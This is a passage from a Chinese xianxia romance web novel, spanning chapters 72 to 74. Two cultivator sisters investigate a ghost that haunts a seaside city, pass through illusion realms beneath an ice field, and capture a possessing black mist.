风浅念收回长笛,青色的笛身与她浅绿色的衣衫极为相称:“应当是同行一段,我与以诗的目的地与你们并非同一处。” 云榆敏锐地发现,风浅念对原以诗的称呼熟稔许多,不排除是为了应那句出宗在外,不用这般拘礼。 在她们说话功夫,原以诗扔出一张传送符纸。 此番去往的地界跨度极大,御剑飞行过于耗费时间和灵力了。 符纸上金色纹路闪烁,火烧过般一寸寸化为灰烬,一座小型传送阵的虚影自符纸中升起,腾放在四人身前。 裴依宁眉梢一挑,牵住还在与风浅念攀谈的人的手腕,两人率先进入阵法。 内外蒙上一层蓝色的水波,外界景象虚幻。闲主府 原以诗和风浅念穿行而进,虚幻的身形凝结成型。 原以诗快速勾画,一点,纹路带出的金芒覆盖在阵法边缘。 耳边风声,水流声纷纷扬起,波浪撞击在岸边之音更是不绝于耳。 外界景象不断变动,蓝色的水波几欲将她们吞没,云榆站不稳地扶住裴依宁,巨大的眩晕感让她不得不闭眼,额头垂在裴依宁的心口。 当那股眩晕感消失,耳边的海浪声反倒是愈演愈烈,发丝卷起,云榆睁开眼。 一望无际的大海映入眼帘,无数鸟雀在海面上飞舞,偶有不知名的鱼类灵兽自海面跃起。 云榆:“这是哪里?” 裴依宁道:“是与明越宗位置相对的一处临海城池。” 云榆灵力灌注在瞳孔中。 数里外,本该波涛汹涌的海水凝结成冰,水面与冰层之间形成一道泾渭分明的分割线。 两方互不打扰,相安无事。 云榆只觉奇怪,但世界之大,无奇不有,水火尚能同生共存,更何况是水与冰。 此次历练之地便是这里,云榆听闻脚步声,扭头。 两队身穿战甲的士兵举着长矛,看样子是在巡视城池。 云榆等人让开去去路。 不知是否是她们凭空出现过于骇人,有两位士兵行至她们对面,立起长矛,肩负起守卫的目的。 云榆头一次瞧见这种甲胄,与器物堂为她打造的浑然是两种物体。 器物堂打造出的薄如蝉翼,穿在内里,难以发觉,而士兵的这种,有种无形的威慑力。 但这种威慑力,并不适用于云榆等人。 云榆察觉到这两队士兵的实力,为首的那人是个黄,其余的,则是橙灵。 比之她的实力要略逊一筹。 这许是士兵没有上前来盘问她们的缘由。 在此地,能历练到什么,莫不是此地出现了什么遗迹。 云榆想到先前的那个遗迹,心口骤然一疼,不知黑虎前辈情况如何,一白二白是否踏入修炼一途。 四人前往到一方客栈中,店老板是个约莫四五十的中年女子,正拨弄着算盘,口中念念有词。 云榆耳力不错,听见女子道:“又没几人了,这可如何是好。” 这里环境甚好,空气中灵气含量不低,怎得会没人来。 就连方才在外,都不曾见到几人,各色店铺齐刷刷地关着,她们也是走了一段距离,才找到这家客栈。 思索间,女子发现客栈内的四人,算盘声歇下:“几位是住店吗?” 裴依宁:“是,麻烦给我们……”她望向风浅念和原以诗两人,原以诗微微颔首,裴依宁声音又起,“麻烦给我们两间房。” “好嘞。”客栈老板登时摸出两把钥匙,在袖子上擦过,殷切地递给裴依宁,“住几晚?” 裴依宁道:“一间一晚,另一间暂定。” 原以诗和风浅念只是在此地休整一日,明日继续赶往她们的目的地。 客栈老板记录下:“客栈提供晚餐……罢了,出了客栈你们也没地方吃,为各提供一日三餐吧。” 云榆听得云里雾里,这城池算不得小,怎得连个吃饭的地方都没有。 诡异至极。 本次历练的内容是什么,裴师姐到现在都没有告诉她,莫不是与这座城池的异象有关。 云榆在裴依宁接过钥匙后,故作随口一问:“老板,我听闻这里修炼资源不少,为何没见到几人呢?” 客栈老板摆摆手,叹息:“往前几年来此修士不少,这几年,每每到了冬日,总有鬼物出没,久而久之,快到冬日时刻,都避开这里,就是原住民也自发的往外跑,开春了再回来。” 她惆怅:“眼下这座城也快空了。” 鬼物。 此行多半是这个了。 云榆:“那您……” 客栈老板笑:“我自小在这,她处无路。” 云榆:“为何不请人处理了这鬼物。” 客栈老板无奈:“如何没请,一众散修丢了性命,连鬼物何样都不知。高强者不屑,城主去请宗门人出手,有回信,却也并未明说何时而来。” “诓人心安罢了。” 这请的宗门该不会就是明越宗吧。云榆忽感心虚。 裴依宁猜出她所想,传音:【她们请的并非是我宗。】 并非明越宗,云榆跟着三位师姐上了二楼。 何种鬼物能扰地一城人丢城而走,萧条至此。 她和裴依宁住一间房,原以诗和风浅念去了靠里的一间。 房内干净整洁,虽听老板的意思,此地许久无人住,可一眼望去,不染纤尘,是日日都有打扫。 云榆长腿一迈:“裴师姐,你知这鬼物是何吗?” 裴依宁从空间储物中取出杯具,茶叶:“不知。” 就知如此。 她们连在此住几晚都是暂定,想来师姐也不能确定几时能处理那鬼物。 裴依宁在一边煮茶。 云榆好奇:“裴师姐,原师姐和风师姐要去哪?也是历练吗?” 裴依宁道:“差不多。” 不多时,茶香起,升腾的雾气在白日中不明显。虽是深秋,可这里的气候并不寒冷,尚有夏季的余热。 古怪。 自从知晓此地有鬼物后,云榆见什么都觉不对。 裴依宁推杯茶给她:“不急,总会知晓的。” 一片小叶片飘在水中,云榆盯着那片不断飘动的叶片,“嗯”了声,押两口,不适应地放下,独自煮杯白水喝。 没喝两口,客栈门被响起。 三下平缓的“咚咚”声。 陌生的气息,云榆和裴依宁对视眼,前者要抽出灵剑,被裴依宁制止。 她淡淡道:“去开门。” 在外历练,云榆自是听裴依宁的吩咐,三步并作两步地地过去。 门一开,一身干练装的女子英姿飒爽,长发束起,穿着与那群士兵差不多的甲胄,只是看上去更为精致。 她腰间别着一把长剑,手腕上捆着艳色绸缎,锐利目光中不经意流露出的肃杀之气让云榆心中一惊。 门开,立在门外的女子神情软下,对着云榆拱手一礼。 云榆不曾见过这等场面,眼疾手快地搭上女子拳下,忙道:“你我初见,怎可这般客气。” 客栈老板在女子身后,同样是行礼而来。 云榆一个头两个大,往日都是她给别人行礼,突兀来两个不认识的,上来这般客客气气,着实让她不知如何了。 “星星,让她们进来。”裴依宁淡然的声线救了不知所措的人。 云榆做了个“请”的姿势,迎进两人。 在两人落座后,裴依宁方才从茶水中抬眼,茶杯在桌面磕出声,白皙的面容在茶气的升腾下,显出几分水色。 裴依宁:“若是我没猜错,想来您应是这座城池的城主。” 城主,亲临? 城主怎会知晓她们来此,短短一盏茶的功夫就找过来的。 裴师姐不像事先告知对方的样子。 云榆想到了她们落地于此的两排兵士。 游心道:“阁下慧智,我乃本城城主游心。” 游心道:“冒昧前来,还请阁下见谅。” 不久前士兵赶往城主府,说有四位大能降临。她顾不得多的,赶来此,听闻客栈老板说,四人有两人似乎只住一晚,另两人去期未定,燃起希望。 冒然敲门,心有紧张。 当看见开门者只是黄灵时,她虽失落,但礼数不缺,抱有希望于与她同行之人。 入内后,室内之人的实力她无法看穿,深不可测如一团浓雾,周身不带有灵力波动,如未曾修炼之人。 但黄灵者对此人这般言听计从,又从士兵内得知一二,怎会没有修为。 裴依宁:“游城主来此,所谓何事?” 云榆主动给游心和客栈老板分别倒杯茶水。 游心:“多谢阁下。” 她言归正传,道:“敢问阁下是否是宗门之人?” 她于数月前传信于宗门之人,寻求帮助,可只有数个宗门回信,或是言辞推脱,或是愿意出手,可未说是何时何日来。 裴依宁抿茶。 云榆有些急了,裴师姐怎么就这样晾着人,在宗门时,师姐分明不这般。她想回答,可师姐不言语,她只能当个小哑巴,独自暗暗着急。 城主的目的无非是让她们帮助处理妖物,这不也是她们来此历练的原因吗? 顺手之事。 游心:“在下想请阁主出手,替我等驱除鬼物,事后,不论结果如何,即使鬼物未除,在下亦有重谢。” 裴依宁弯唇:“游城主客气,”她话音一转,“但我的确有一物相求。” 云榆:“……” 师姐一直不说话,该不会就在等游心的这句话吧。 游心:“何物?” 裴依宁道:“除了鬼物后,我再与城主说。城主不用担心,算不得名贵之物。” “能除去鬼物,”游心一咬牙:“只要不损害本城以及城民利益,城主府阁下都可搬空。” 云榆:“……” 一个个的,怎么都这么有钱。 送走城主与客栈老板,云榆关了门,有模有样地学着城主的话:“我的空间储物,师姐可以搬空。” 裴依宁懒懒地掀起眼皮看她一眼,不动声色地握紧茶杯:“你那里的东西,倒是没我有兴趣的。” 云榆:“……” 拐着弯说她东西不值钱。 虽是实话,但不至于大喇喇地说出来,让人丢面吧。 裴依宁提着杯沿:“但有一样,我倒是喜欢的很,不知云师妹是否愿意割爱。” 云榆眨眨眼,好奇:“我有什么东西是裴师姐喜欢的。” 裴依宁笑而不答,放下手中杯:“今日好好休息,明日与我去那冰面上看看。” 鬼物冬日前来,现在可藏身的无外乎是那片冰层。 她想到的,未必先前来此帮忙的散修想不到。那里说不定早已被翻过来找个遍了。 裴依宁只是想去看看。 云榆跨坐在椅子上,三言两语被糊弄过去:“好嘞。” “你啊。”裴依宁突然道。 云榆没听清:“师姐方才说什么?” 裴依宁摇头:“没什么。” 她对云榆,喜欢的很啊。 裴依宁揉着太阳穴,云师妹比这鬼物难处理百倍。 抱了,亲了,同床共枕了。 却还停留在亲密关系上。 唯一让裴依宁有所安慰的,是这亲密关系具有唯一性。 但云榆昨日竟然化为小刺猬,让那么多人摸,半点拒绝不知。 这番性子,难保不会出现第二个,第三个亲密关系的人。 裴依宁略感头疼。 云榆坐着椅子挪过来,捏着一块云樾做的糕点,时不时抿上一口:“师姐,你怎知方才那人是城主的。” 她都没看出来。 她第一次见人族的城主。 裴依宁:“猜的。客栈老板先前说过,这座城池剩余的人不多了,城主就是其一。她腰间佩剑不凡,挂着的玉佩,别着的令牌上方篆刻的文字,都说明身份地位不低。” 云榆低喃:“玉佩啊。” 她也有一块,是问亦云临走前给她的,她拿出来,细腻的白玉上手温凉,灵力在玉佩纹路上游走,引得握上去的掌心痒痒的:“还没仔细看过,师姐,这玉如何?” 裴依宁道:“问玉宫宫主给的,自是极品。”她顿了顿,“待到这次历练结束,我带你去趟问玉宫。” 云榆惊喜:“可以吗?” 反应过大,云榆不好意思地干咳两声,却又忍不住道:“会不会,不好。” 裴依宁:“需提前向问玉宫请求,想来是可以的。” 但那次比试,问亦云却没有提及让云榆立刻前往问玉宫与她姐姐重逢,只说日后有时间邀请云榆去问玉宫。 云榆与她姐姐许久未见,问亦云当是知道的,她身为问玉宫宫主,带云榆去见一面,轻而易举,何以等到日后。 裴依宁想到的,云榆纵使再天真懵懂,也能想到其中不合理的一二。 可问亦云带来的那两包糕点,的确是姐姐做的,她和姐姐之间的微末的感应也还存在。 云榆苦笑:“到时再说吧,当前任务是把鬼物除了。”她敛起笑容,“但鬼物冬日出没,若是其它季节不在此地,我们岂非要等到冬日。” 在此逗留十天半个月甚至更久。 云榆:“对了,师姐,你向游城主要的是何物?” 依照师姐的性子,算不得名贵物的东西,对她来说,都是不可攀的存在。 毕竟,高品阶的丹药和灵株,师姐拿出都毫不心疼。 裴依宁道:“灵珠。” 云榆:“哦,灵株啊。” 果然,丹修的修养,要的报酬都与炼丹相关。 裴依宁起身拍拍袖口不存在的灰尘:“嗯,修士体内,悬浮在灵海中,用于修炼的灵珠。” 云榆愣了下:“修炼的灵珠?” 至今为止,云榆只知道,修炼者皆是有一颗灵珠用来吸纳空气中浮动的灵气,转化为自身灵力。 若是没有灵珠,将不能称之为修炼者。 裴师姐这是想要游城主的灵珠。 这还不算名贵之物吗?这怕不是修炼者最为宝贵的东西了。 师姐怎么会有取人灵珠的想法。 夺取灵珠用来修炼之事,云榆或多或少听说过,但这一般都是夺取灵兽的灵珠。 师姐…… 云榆惊得说不出话,她突然感到有些难过。 裴依宁打开窗户,居高临下,空荡荡的街道上只有几名守卫,一间间紧闭的店铺,无声地诉说这座城池的诡异。 云榆问:“师姐是要游心城主体内的灵珠吗?” 裴依宁关上窗:“我要她的灵珠做什么?各大城池内,或多或少会有因各种情况而遗留下的灵珠,我要的是那些。” 她转身靠在闭合的窗沿边:“活人生取,我还没有那种爱好。” 否则,那日遗迹中,她已经取下苍焰宗那些人的灵珠了。 一方面是嫌脏,另一方面属实是麻烦。 但城主府内的那些,已经处理完毕,她直接用就可以。 云榆松口气。 午时,云榆去敲了原以诗和风浅念的门,寻她们一同下楼吃午饭。 修行者对口腹之欲所求不深,原以诗本是不愿吃的,但风浅念因云榆来邀,出了门,她只得跟上。 在楼梯口,与端着餐食,前来给她们送餐的客栈老板碰见。 客栈老板:“各位是下楼吃吗?我现在就去准备。” 云榆想喊住人,奈何客栈老板下去的过快,她只能放弃,无奈地回头摊摊手。 裴依宁笑道:“走吧。” 本就是打算去一楼吃的。 午饭后,原以诗和风浅念在云榆她们房内坐了会,聊过鬼物之事,云榆夹在中间听得一知半解。 “城主来得倒是快,”风浅念感慨一声,“冬日就成一座空城,换是我,也不会放过一个可能的希望。” “你和云师妹明日要去冰层那?”风浅念道,“的确是个好的着手点。可惜我和原师姐明日启程去它地,无法跟你们一同,不然,我还想看看到底是什么样的鬼物。” 原以诗道:“多留一日也无妨。” 风浅念眉眼弯弯,并未同意。 她们走后,云榆挺直的脊背松垮下,散漫地趴在桌面上:“鬼物一般长什么样?” 裴依宁道:“应该不怎么好看。” 云榆:“……你这和没说有什么区别。” 都叫鬼物了,能是什么好看的东西。 裴依宁:“会亲眼看到的。” 作者有话说: 第73章 第七十三章[VIP] 入夜后, 这里的寂静越发明显,好似陷入单独的空间中,云榆更为清晰的见证此地几乎成空城的一面。 睡前她在房内设下结界,醒来时, 她睡眼惺忪地看着师姐把那层结界撤回。 混沌的意识渐渐明了, 她揉着眼睛坐起,顺着已经半开的窗户看去。 海平上缭绕着一层浓雾。 裴依宁转身看她, 修长的手指曲起, 点过客栈老板不久前送过来的餐点:“起来吗?” 云榆迷糊地点点头,起身去旁洗漱。 拾起一只包子, 萎靡地趴在那,时不时啃上两口, 做出评价:“比师姐手艺差些。” 这个时候都不忘记恭维她一声,裴依宁捏起勺子,见她一副没怎么睡好的样子,替她捋捋快要飘入粥中的长发:“昨晚没睡好吗?” 云榆含糊不清地道:“总感觉有东西压着我,睁开一瞧, 什么都没有。闭上眼, 有会做些不明所以的梦, 睡得好累。” 师姐身上怎么有股寒气。 她胳膊上起了层鸡皮疙瘩, 受冻似的抱住自己:“该不会鬼物的影响这般大, 能穿透结界影响我。师姐, 你昨晚睡得好吗?” 裴依宁没什么食欲,夹过小菜配着白粥吃了几口。 昨晚某人睡姿过于不好了, 一会八爪鱼似的抱着她, 一会压住她的半边身体,一会嘴里叽里咕噜地不知在说什么。 好像是刺猬的语言, 她听不懂。 裴依宁微笑:“睡得还好。”她顿了顿,“若是没睡好,吃完后再去睡会,等你醒了,我们再去冰面上看看,不急于这一时。” 云榆胡乱地往嘴里塞着东西,不愿因自己这点小事影响裴依宁的计划:“不用,没那么困。” 裴依宁不强求她。 早点过后,云榆和裴依宁下了客栈,临出门前,亦是在住的那间门前设下禁止。 客栈老板在台前打着算盘,嘀嘀咕咕地说些这月的亏损和住户的事。 来到昨日传送阵送她们到的地方,云榆深呼吸,召唤出灵剑。 冰层距离此地数里,御剑飞行是最好的方式。 她上剑后,下意识递过去一只手,要去拉裴依宁,但剑身离地面不过十几公分,迈个腿的事。 云榆尴尬地要收回手,下一秒,裴依宁却牵住她的手,颀长的身形立在她的身后。 女人靠得很近,上了剑也不松手,自然地与她拉地紧实。 裴依宁下巴磕在云榆肩上,另只手搭在云榆的另一只肩膀,温热的吐息刺激在肌肤上:“突然有些困了,飞慢点。” 颈部的肌肤被似有若无地触碰,肩膀上的脑袋并不老实,似要找舒服的点,不断地磨蹭调整。 耳垂不时被顺滑的发丝勾过,后背被完全贴上,柔与软结合在一起。仙诸付 云榆身体不由自主地绷紧,与之而来的是御剑时不平稳的飞行,时而升起,时而下坠,剑身摇晃中,暗含着主人翻滚不断的念想。 那股怪异感又来了。 云榆凝神静气,默念心法口诀,极力平稳剑身。 肩上的手忽而垂下,欲拒还迎地勾住她的腰身,含笑的声音在耳边漾起:“怎得了?真的太久没用灵力,导致生疏成这幅模样吗?” 一只手被牵着,腰身被抱住,脖颈被靠着,一动不能动,云榆感觉自己像是个木偶,被钉在剑上。 她闭了闭眼,在心中不断重复:我和师姐是关系极为亲密的人,我和师姐是关系极为亲密的人。 师姐只是黏在她身上小憩会罢了。 云榆轻声恐惊到半睡半醒的人:“有点,师姐站稳了,小心掉下去。我御剑慢些。” 她握紧裴依宁的手,分出一丝灵力牵引裴依宁。不经意间,她垂目下看,蔚蓝色的海面平静无波,置身其上,自身的渺小感扑面而来。 云榆险些因此分神,急忙稳定心神,目视前方。 这些时日,她的心神总飘忽不定。 身后人没了声响,云榆尝试别下头,可没几下,腰身被抱得更紧了。 裴依宁含糊绵软的声音压在耳中:“别动……” 师姐这个语气,是在和她撒娇吗? 云榆喉咙滚动,今日的师姐怎么黏黏糊糊的勾着人。 半睡半醒下的师姐原是这样的吗? 声音教之平日,低哑软糯,语调无意间拉长。 她喜欢师姐的这个声音。 如果下次在师姐睡着时,把师姐唤醒,让师姐用这种黏糊的声音说她…… 云榆呼吸急了几分,连忙掐个指诀。 心神怎么被影响的这么厉害。 裴依宁眼神清明地望着前方的冰层,低沉温柔的声线与刚才无异:“星星,你呼吸好大……” 好可爱的声音。 云榆屏住呼吸:“我不呼吸。” 裴依宁:“不准说话。” 云榆轻轻“嗯”了声。 裴依宁尾音绵软:“你还说话……笨蛋星星。” 以往云榆说她的话被不动声色地还了回去。 云榆无半点脾气地抿住唇,她想回头看看师姐现在的表情是什么样的。 是不是眉心轻微皱着,有些不耐,脸颊被挤压出一小团软肉,跟她说“不准说话”时,还会傲娇地压着唇。 但她不能动,只是呼吸大了都要被说,若是再大动作将人吵醒…… 可这刻的师姐与平日里完全不一样。 她想看师姐耍小性子的模样。 天平在左右来回摆动,纠结着。 机会难得,日后说不定就见不到了。 云榆下定决心,刚转过小半个头,眼角的余光扫到裴依宁一点肌肤,剑体突兀地直冲出去。 云榆来不及继续看,调动灵力,控制住灵剑。 “怎么了?”裴依宁揽住她腰身的手松开,揉上太阳穴,似是因为方才灵剑的剧烈异动惊醒,她抬起头,往后退半步,“这里的鬼物有扰乱人心神的能力,固守本心,莫要被影响了。” 原是如此,怪不得她方才对师姐生出那种想法。 云榆转头,裴依宁面色平静,长发飘逸,除却脸颊因贴在她肌肤上烙下的微末颜色,和每每宗门内见到时别无二致。 可惜,差一点就能看见了。 云榆惋惜。 驱除杂念,再一看,她们已经悬浮在冰层上方,灵剑下降,云榆突然问:“师姐怎知这里的鬼物有扰人心神的能力。” 她狐疑地转过身,与裴依宁面对面:“师姐知道是何种鬼物?” 昨晚还骗她不知道。 果然,裴依宁底子里可没表面看上去的那般白。 她眯起眼睛:“你昨日还说,不知道鬼物长什么样。” 裴依宁眉色淡淡:“我的确不曾见过这里的鬼物。鬼物有扰人心神的能力,是见你御剑不稳猜的。” 云榆:“……真的?” 裴依宁面不改色地下剑:“真假有之。” 云榆:“……” 裴依宁果然是黑色的。 云榆跺跺脚,提着灵剑追上裴依宁的步伐。 冰层的边缘就是水,两者划分清明,互不干扰。云榆好奇心地踩了两下冰层的边缘,没有预想中的坍塌。 用灵剑凿了数下,只在冰层表面留下些许凹凸不平的坑洞。 云榆放弃了,这该如何巡视冰层下方。 裴依宁好以整暇地看她半晌,云榆垂头丧气地苦着脸来到女人身前,耷拉着:“师姐,这冰层无法翻过来找吧。” 裴依宁“嗯”了声。 这趟岂不是白来了,莫不是真的要等到冬日,鬼物自行现身才能收了。 她掰着手指算,片刻后,五官几乎扭曲到一起:“又是一笔巨额的灵石开销。” 每日客栈的钱要照付啊。 客栈老师虽要给她们免去,但她们怎么好意思不给。 脸面本就所剩不多,再不维护,就真的一点不剩了。 但这代价太大了。 云榆欲哭无泪。 裴依宁被她这幅模样逗到,一指吻上云榆的唇:“安静点。” 她道:“想早点离开这里吗?” 云榆点点头,又摇摇头,拿开裴依宁的手指,她道:“既然已经答应游城主了,受人之托,忠人之事。” 何况师姐还要游城主府内的灵珠。 裴依宁笑笑:“那就是想走了,”她握住云榆的手腕,灵力灌注其中,她提起而重力往下一刺。 “刺啦”声不绝于耳。 剑体长驱直入。 云榆不可置信地睁大眼睛,师姐这未免过于简单粗暴了。 可刺入冰层又如何,灵剑只剩下剑柄露在外面,下方依旧是深不可测的寒冰。 裴依宁握住她的手又是一个用力,剑灵抽出,一丝灵力覆在冰缝中,使得冰面无法闭合。 裴依宁道:“肉身入不得冰面,需得以灵识入内。也只有灵识进入,方能防患鬼物入体。” 她松开云榆:“但是灵识入内,会被拉入鬼物的幻境中。”她顿了下,“你在这等我。” 云榆不肯:“不行,我入内,师姐在此地等我。这本就是我的历练,理应由我出手。” 裴依宁定定地看着她,念动起,藏在云榆体内的,一抹她的灵力轻微动了下。 她划过指腹,食指现出血色,血珠滚落间被弹出,以她们两人为中心,半径一米的圆形包裹住两人。 一顶药鼎显出,悬浮在两人头顶。 此地虽偏僻无人,但难免可能有不长眼的东西,趁她们灵识不在,攻击她们的身体。 一旦有物体踏入圆内,她的灵识会即刻被强行召回。 对付这种鬼物,损毁了肉身,得不偿失。 云榆与裴依宁盘膝而坐,灵识离身的刹那间,两人被寒冰冻住,形成两尊冰雕。 灵识抽身感并不好受,对于外界的存在越发敏感,刺骨的寒冷冻得云榆瑟瑟发抖,忙支起灵气护住周身。 这种情况下,对灵力的掌控度竟然更高。 回首,她的肉身冰雕与裴依宁的肉身冰雕相对而坐,纷纷扬扬的雪花落在她们的脸上,身上。 裴依宁来到那道裂缝边,灵识没有体积,不会受肉/身影响,轻而易举地钻入其中。 云榆紧随其后。 冰层下,是一望无际的黑,那道裂缝并不深,云榆欲要以裂缝为主,继续贯穿而下,深入冰层底部。 然,一道眩晕感包裹住她,她的灵识不受控制地被吸住,猛地一拉,抽离感从下自上,连摆脱的机会都没有。 眼前白光闪光,云榆再度能视物时,惊讶的发现,她置身于一处青草绿地中,四通八达的小河流将绿地分割成无数片。 熟悉感扑面而来。 不远处,一颗数人环抱方可抱住的古木静静地矗立在天地之间。 而在古木的前方,是一堆叠成小山的灵石,闪烁着刺目的光。 云榆只看了眼便收回目光:“师姐,师姐……” 尝试喊了几声,并未裴依宁的应答声。 此地便是被鬼物拉进的幻境中吗? 云榆颇为头疼地深吸一口气,灵剑以虚影的形式被她握在掌心,她寻了条最为熟悉的一条河流,沿着河流而下。 期间不乏有各种幼年时她所向往的东西。 但这些无主之物,云榆都不曾多施舍眼神。 非她所有,她不会去碰。 不知走了多久,云榆走到了流水的尽头,她左右看看,都不曾有鬼物的出现。 莫非鬼物现在在师姐那。 云榆折身朝着另一个方向而去。 与此同时,裴依宁被拉入一座殿宇内,其中布局与灵丹堂的膳食堂无二区别。 裴依宁瞳孔一缩,意识到这处幻境的所谓为何。 她立于殿门前。 一只小刺猬小心翼翼地翻开殿宇内的窗户,小脑袋左看看,右看看地滚入殿内,驾轻就熟地爬到一只长桌上,抱住一根药材往昏暗处拖动。 数秒后,小刺猬听见什么声响,连忙躲了起来,黑漆漆的眼睛一瞬不瞬地望向殿门方向。 裴依宁就站在那,但小刺猬犹如看不见般,直勾勾地望着。片刻后,警备松下,抱着药材大口吃起。 裴依宁弯弯唇,待到小刺猬吃完,双爪反撑着身体,下肢伸直地在那休息好,拖着吃得圆滚滚的小肚子,笨手笨脚地爬回殿宇的窗口,滚了出去后,她周身灵力闪动。 画面还在变动,但裴依宁已经没了继续下去的念头。 这种低等级的鬼物,对她造不成实质性的影响。 灵光乍现,裴依宁一掌轰在殿宇之上,顷刻间,玻璃碎片一般,一片片镜面往下掉落。 一团黑雾游走浮动,在黑雾的中间,蠕动着两颗拳头大的眼睛,它“哈”笑出声,黑雾拉伸:“今日一早来此地的人,原是你。” 裴依宁不疾不徐地擦拭指骨泛红的手。 黑雾继续:“为何去而复返……” 裴依宁丢下手帕,不给黑雾说话的机会,灵力凝结成的长剑,从天而降,将黑雾斩成两半。 瞬间,场景再次发生变动。 她被强行拽出了幻境,灵识归体。 覆盖在她身上的碎冰寸寸断裂,裴依宁起身,在她对面的人身上的碎冰,蛛纹般裂开。 她指骨带力地牵起茫然不知所措的人:“有遇见什么吗?” 云榆摇摇头,将所遇见的场景说了遍。 竟是连个人影都不曾碰见。 云榆问:“师姐,就这样结束了吗?这鬼物,不免太好对付了。” 裴依宁但笑不语:“本就不是什么高品阶的。” 她收起药鼎,触摸到云榆身上不同寻常的低温,不等御剑而行,她圈住云榆的腰身,丢出一枚移形换位符,直接转动位置。 再一出现,已经是客栈房内。 裴依宁看了眼房门,眼底有灵光闪过。 云榆抱着一杯留有余温的茶水大口喝过,身上的温度回温了几分。 她拧着眉,用力揉弄手臂:“好冷。” 裴依宁握住她,一抹灵力刚钻入云榆的身体,为其暖身,却被云榆毫不留情地拍下手。 裴依宁:“师妹?” 云榆干笑道:“灵识刚回体,受不得你的灵力再进入。” 她哈气在两掌间,用力搓搓,小半柱香后,她伸出揉红的手:“看,师姐。” 裴依宁用眼神询问她看什么。 云榆笑嘻嘻地握住裴依宁的两手,将自己的手钻入裴依宁的掌心:“我手热乎了,师姐感受到了吗?” 裴依宁感受到了。 的确热乎些了。 云榆突然间凑近过来,五官在裴依宁眼中放大,直至完全沾满。 她得意洋洋地笑出声,抚摸上裴依宁的脸颊,柔声问:“师姐,想不想和我一直待在这里?” 裴依宁眼神晦暗:“嗯?” 云榆淡笑着说:“师姐,你是不是喜欢我?” 裴依宁长而翘的睫毛颤动,侧脸在云榆的掌心蹭两下,从喉咙中挤出一个“嗯”字,她声线缱绻,低声低喃:“喜欢你,云榆。” 云榆笑得更开心了,她捧起裴依宁的脸颊,双手合拢,指腹在女子脸颊上缓而慢地滑动,情人般呢喃低语:“那师姐,怎么不亲我?” 裴依宁:“嗯?” 云榆没好气地推开她,很生气地背过身,双手环抱:“师姐最是会骗人了。” 她控告师姐的所作所为:“说喜欢我,却从来不知道主动,我主动了,还一直嗯嗯嗯的,让人听得心烦意乱。” 裴依宁笑出声,转回云榆的身体,眼底荡漾着柔软的春水,她道:“那师妹怎样才会不心烦意乱?” 云榆:“师姐什么都会答应我吗?” 裴依宁眉目温柔:“什么都答应云榆。” 云榆重新凑上前,主动牵起裴依宁的手,暧昧地往床边一看,指腹缓而慢地在女人指背上摩挲,刻意压下的声音让气氛越发黏稠:“师姐,跟我来。” 裴依宁亦步亦趋地跟随着云榆,随后,她被人推入柔软的床心,上面人倾身而来,将她禁锢在两臂之间。 云榆高昂的头垂下些,投射下的影子将裴依宁包裹,亦是模糊了女人晦暗不明的神情。 云榆勾着裴依宁腰间束带,一圈圈地绕在手指尖,柔媚的眼神几乎黏在裴依宁脸上:“师姐……我也好喜欢你。” 她拉动束带:“最喜欢你了。” 她的手沿着快要散开的外衣往里钻,手肘撑着的身体下坠,近乎压在裴依宁身上,她笑容放大,头垂在裴依宁脖颈间。 似是而非地问:“师姐,我可以亲你吗?” “当然,”裴依宁轻笑出声,“不可以。” 云榆猛地抬起头,眼底蓄满不可思议地望向自己的腹部,一柄长剑贯穿她的身体。 裴依宁一手按住她的肩膀,一手攥住剑柄,在她小腹处转动切割。 没有一滴血留下来。 云榆忽地散开,那团黑雾凝结而成,漂浮在半空中。 四周的景象溃败,镜花水月地幻梦一场。 “双重幻象,倒是我低估了你。”裴依宁系好束带,从床上而起。 在她起身的那刻,那张床以肉眼可见的速度腐朽成一桌木屑。 黑雾中两颗拳头大的眼睛转动:“差一点,我就能夺舍了你。” 分明已经快了,到底是哪一点暴露了,它分明是按照面前女人心中所想幻化的幻境,怎会被发现。 裴依宁似是看出了它的想法,淡声道:“她若是有你化作的半分上道就好了。” 她也不至于至今仍旧在云榆的观念中,只是亲密关系。 当真是榆木。 裴依宁环顾周身的黑暗,这幻境,许是一时半会靠蛮力无法打开,她眼一挑,一根长绳锁住黑雾,她将其往身边一拽。 黑雾挣扎不已。 裴依宁:“她在哪?” 黑雾傲骨不答,只一味挣扎。 裴依宁也不着急,手腕使力,长绳染出火焰。 剧烈的高温烧得黑雾惨叫连连:“她已经出去了。” 裴依宁:“出去了?” 云榆竟这般快速。 黑雾巨大的眼睛在雾中晃动,不敢迟疑:“她与您不同,她灵识清明,欲念不深,我引诱不到她。” 欲念不深。 裴依宁眼皮跳动:“送我出去。” 黑雾不敢反抗,它虽没有身体,可这火焰竟然能燃烧它的鬼魂,消耗它这些年积攒下的鬼力。 不过呼吸间,一道刺目的白光闪过,四周黑暗散去,冰冷的温度让裴依宁恍然过。 “师姐。”一道惊喜的声音炸开。 裴依宁回神,云榆正担忧地看着她,见她没事,面前人踢踢脚下的碎冰:“师姐,我……什么都没遇上。那鬼物,也不曾看见。” 真是白来这趟了。 瞅见裴依宁手中牵着的长绳,长绳连接到冰缝中,云榆好奇:“师姐,这?” 裴依宁捏住鼻梁骨,被黑雾二次影响,她的额头略有些疼。 尤其是听见黑雾说云榆灵识清明,欲念不深后,现在见到这个欲念不深的人,头更疼了。 裴依宁扯出一抹笑,将黑雾拽出:“没关系,师姐遇到它了。” 黑雾被拽出,惊慌不已:“你答应要放了我的。” 裴依宁冷眼:“我何时答应过你。” 黑雾顿住,裴依宁的确没有说放了它,但它送对方出幻境,这不应该是默认的事吗? 裴依宁取出一只透明瓶,拉着黑雾往里放。 黑雾逃跑不及,瞪着眼睛,圆滚滚的眼珠注意到女人身边的人,狞笑着使出全部力气,减缓进入瓶中速度,戾气十足,咬牙切齿地:“云小友,你的这位裴大师姐,可是对你存着不该有的心思呢。” “你不想知道她平日想的是什么吗?” 云榆拦住裴依宁:“师姐,等会。” 作者有话说: 第74章 第七十四章[VIP] 压在黑雾上的牵扯力减弱, 没入透明瓶内的部分流出。黑雾将逃离希望全然寄托在出声阻止的妖身上。 它身为鬼物,对情感之类了解不多,否则也不会那么僵硬的在幻境中化成云榆的样子,妄图夺舍裴依宁。 一眼被裴依宁看穿。 但女人这么听小妖的话, 它需得好好利用一番, 趁机从女人绳上逃脱。 漆黑巨大的眼睛在黑色的雾气中游走,黑雾漂浮到云榆身上:“你想知道什么, 我都可以告诉你。”眼珠在裴依宁周身转动, 磁球吸引般,“幻境中, 